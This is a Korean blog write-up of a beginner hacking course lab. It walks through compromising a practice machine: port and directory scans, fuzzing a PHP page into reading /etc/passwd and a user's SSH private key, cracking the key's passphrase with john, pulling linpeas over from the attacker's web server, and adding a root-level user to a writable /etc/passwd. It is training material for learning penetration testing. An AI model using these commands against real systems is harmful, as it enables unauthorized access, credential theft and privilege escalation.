본문 바로가기
Hacking/Hacking Beginner Class (normaltic)

[해킹 비기너 클래스] Drill Course 1주차 정리

by st-og 2023. 9. 15.

정보 수집

먼저 해당 머신의 주소로 nmap을 사용하여 포트 스캔을 해보자

어떤 포트가 있을지 모르니 -p- 옵션을 사용하여 모든 포트를 스캔해 보았다.

nmap -sCV -p- [ip주소]
#-sV: 해당 포트의 서비스정보와 버전정보를 스캔함
#-sC: 기본 취약점 스크립트를 사용해 해당 포트의 취약점까지 같이 스캔함
#-p-: 모든 포트를 스캔함

 

22번 포트의 ssh와 80번 포트의 http가 열려 있음을 확인할 수 있다.

 

웹서버가 열려 있음을 알았으니 접속을 해보자

apach의 기본 index.html 페이지를 확인할 수 있다.

이것을 보고 해당 웹 사이트는 아직 제대로 된 서비스를 하지 않고 있나?라는 추측을 할 수 있다.

 

해당 사이트를 dirbuster를 사용하여 디렉터리 스캔을 진행해 보았다.

터미널에서 dirbuster라고 입력을 하게 되면 해당 GUI를 확인할 수 있다.

 

기본적인 작동을 위해서는 Target URL, File whith list of dirs/files를 입력해 줘야 한다.

Target URL에는 우리가 접속한 웹사이트의 주소를 넣으면 되고

File whith list of dirs/files에는 /usr/share/wordlists/dirbuster/ 경로의 원하는 파일을 선택하여 넣어주면 된다

 

더 빠른 스캔을 위해 Go Faster를 체크하고 실행을 시켰다

 

모든 스캔이 완료가 되면 이러한 정보를 확인할 수 있다.

 

위에서 얻은 정보로 모든 경로에 접속을 해보면 대부분의 경로는 다 404 에러를 확인하게 되는데

/secret/evil.php에 접속하게 되면 이렇게 아무것도 뜨지 않는 페이지를 확인할 수 있다.

 

 

파일이나 경로에 문제가 생긴다면 icons페이지처럼 에러가 출력돼야 정상이다

하지만 evil.php처럼 아무것도 출력되지 않는다는 것은 제대로 실행은 되지만

웹 브라우저 상에서는 출력할 게 없다고 생각할 수 있다.

 

Exploit

 

evil.php가 뭘 하는 php 파일인지는 모르기에 fuzzing을 해보기로 했다

fuzzing이란 값을 무작위로 입력해 보고 입력에 따라 일어나는 상황을 확인하는 것이다

 

fuzzing을 위해 칼리리눅스에 있는 ffuf 툴을 사용해 볼 것이다

ffuf -u http://10.10.139.58/secret/evil.php?FUZZ=ls -w rockyou.txt -fs 0
# -u : url 입력을 위한 옵션
# ?FUZZ : 해당 부분에 wordlist의 단어들이 들어가서 확인함
# -w : wordlist를 입력하기 위한 옵션
# -fs 0 : 파일의 사이즈가 0인 경우 출력을 하지 않기 위함
# rockyou.txt는 /usr/share/wordlists 경로에 rockyou.txt.gz로 압축되어 있는데 해당 압축을 풀고 사용하면 된다

위의 명령어는 해당 페이지에서 파라미터에 값을 받으면 값을 터미널에서 실행시켜 출력한다는 시나리오로 생각하고 만든 명령어이다.

해당 시나리오가 틀렸을 확률도 있기에 여러 시나리오를 만든 후 여러 터미널에서 동시에 fuzzing을 해보면 된다

 

ffuf -u http://10.10.139.58/secret/evil.php?FUZZ=/etc/passwd -w rockyou.txt -fs 0

위의 명령어는 파일을 읽어 출력한다는 시나리오의 명령어이다.

 

 

2번째 시나리오의 명령어에서 fuzzing이 된 것을 확인할 수 있다.

command라는 파라미터를 사용하고 있는 것을 알 수 있다.

URL에 command를 사용하여 입력해 보자

 

 

이러한 화면을 확인할 수 있다.

해당 화면에 출력된 것은 /etc/passwd를 출력한 것임을 알 수 있는데 여기서 중요하게 봐야 할 것은

실제 유저 정보이다 

우리는 실제 유저를 해킹해 해당 시스템에 접속한 후 권한 상승을 하여 시스템을 해킹할 수 있다.

그렇기에 실제 유저에 대해 확인하는 것이 중요하다

 

실제 유저임을 알 수 있는 방법은 uid가 1000 이상인 경우나 /bin/bash쉘을 사용하는 경우 대부분 실제 유저이다

해당 조건에 만족하는 유저로는 mowree라는 유저를 찾을 수 있다.

 

이제 mowree의 계정으로 어떻게 접속할지에 대해 고민해야 한다.

가장 기본적으로 ssh를 통한 원격 접속이 있다.

ssh원격 접속을 하려면 두 가지 방법이 있는데 해당 유저의 pw를 알거나 해당 유저의 개인키를 소유하는 것이다

 

먼저 1번 방법으로 진행해 보자

mowree의 pw칸에는 x표시가 되어 있다. 이 말은 /etc/shadow를 참조한다는 뜻이다

해당 파일을 읽어보자

아무것도 확인할 수 없다

이유는 모르지만 아마 /etc/passwd 파일은 접근이 불가능하게 되어 있나 보다

 

그럼 2번 방법을 사용해 보자

rsa개인키는 유저의 홈디렉터리의 .ssh/경로의 id_rsa파일로 저장되어 있다.

해당 파일을 화면에 출력해 보자

 

ssh 개인키가 있음을 확인할 수 있다.

현재 웹사이트에 개인키가 올라간 것이기 때문에 wget을 사용해 내 PC로 옮길 수 있다

wget [URL주소] -O [저장할 이름]

 

이제 ssh로 접속을 해보자

 

 

원래는 개인키로 ssh접속하는 경우 비밀번호를 묻지 않는다

하지만 지금 비밀번호를 묻는 이유는 해당 키의 권한이 잘못됐기 때문이다

사용하려는 ssh공개키는 무조건 권한이 600으로 정해져 있어야 한다

 

잘못된 권한의 sshkey

 

 

권한 변경을 마쳤다면 다시 ssh를 접속해 보자

 

 

이번에는 passphrase를 묻는다

passphrase란 개인키의 보안을 위해 있는 비밀번호의 개념이다

passphrase를 알아내기 위해서는 john the repper를 사용하면 된다

 

먼저 john을 사용하기 전에 기존의 개인키를 바로 사용하면 제대로 된 비밀번호를 알아낼 수 없으므로

john에 맞게 변경을 시켜줄 것이다

변경을 위해서는 ssh2john을 사용하면 된다

ssh2john sshkey > hash
#ssh2john을 사용하여 sshkey파일을 hash라는 이름의 파일로 만들어 줌

 

만든 hash파일로 john을 사용하여 비밀번호를 알아내보자 

john --wordlist=rockyou.txt hash
#wordlist는 rockyou.txt로 사용하였음

 

 

passphrase가 unicorn임을 알아냈다

다시 ssh접속을 시도해 보자

 

성공적으로 mowree의 계정에 접속하였다

 

Post-Exploit

먼저 권한 상승을 위한 여러 정보들을 수집해야 한다

기본적으로 유저 홈 디렉터리, setuid 파일, /etc/passwd 등이 있다

 

홈 디렉터리

 

setuid 파일

 

/etc/passwd

 

여러 정보들을 확인해 봤지만 취약점을 찾기가 쉽지 않다

이럴 때 사용할 수 있는 도구가 linpeas라는 도구다

 

linpeas란 리눅스에서 권한 상승에 도움 될만한 것들을 자동으로 스캔해서 알려주는 도구다

해당 도구는 https://github.com/carlospolop/PEASS-ng/releases/tag/20230910-ae32193f/ 에서 다운로드할 수 있다.

 

linpeas를 공격자 pc에서 피해자 pc로 옮기기 위해서는 공격자 pc에 웹서버를 열고 피해자 pc에서 접속 후 wget을 통해

다운로드할 수 있게 하면 된다

 

공격자 PC

python -m http.server 80

 

피해자 PC

wget [http://내ip/가져올이름]

 

linpeas가 설치된 것을 확인할 수 있다.

linpeas에 실행 권한을 주고 실행을 해보자

 

 

실행을 하게 되면 상당히 많은 취약점들을 확인할 수 있는데 해당 정보를 통해 중요한 정보를 찾아보자

위에서부터 중요도를 높게 보면 된다

제일 먼저 red/yellow를 찾고 없다면 red를 찾는 식으로 중요한 정보를 찾아내면 된다.

 

그럼 먼저 red/yellow인 정보를 찾아보자

가장 중요한 정보로서는 /etc/passwd 파일이 쓰기가 가능한 파일임을 알려준다

실제 쓰기 권한이 있음을 확인할 수 있다

해당 파일을 수정해 보자

 

루트와 동일한 정보를 가진 유저를 만들어준 뒤 비밀번호를 쉬운 것으로 넣어주면 된다

여기서 주의할 점은 비밀번호를 1234 이런 식으로 넣어주는 것이 아닌 해시를 해서 넣어줘야 한다

test:1234:0:0:root:/root:/bin/bash # X
test:(hash값):0:0:root:/root:/bin/bash # O

 

해시된 비밀번호를 만들기 위해서는 mkpasswd 명령어를 사용하면 된다

mkpasswd --method=[hash알고리즘] --stdin

 

해시된 비밀번호를 password자리에 입력한 후 저장하면 끝이다

 

이제 su test 명령어를 사용해 root 권한을 가진 유저로 계정을 변경하자

 

root권한을 얻는 데 성공했다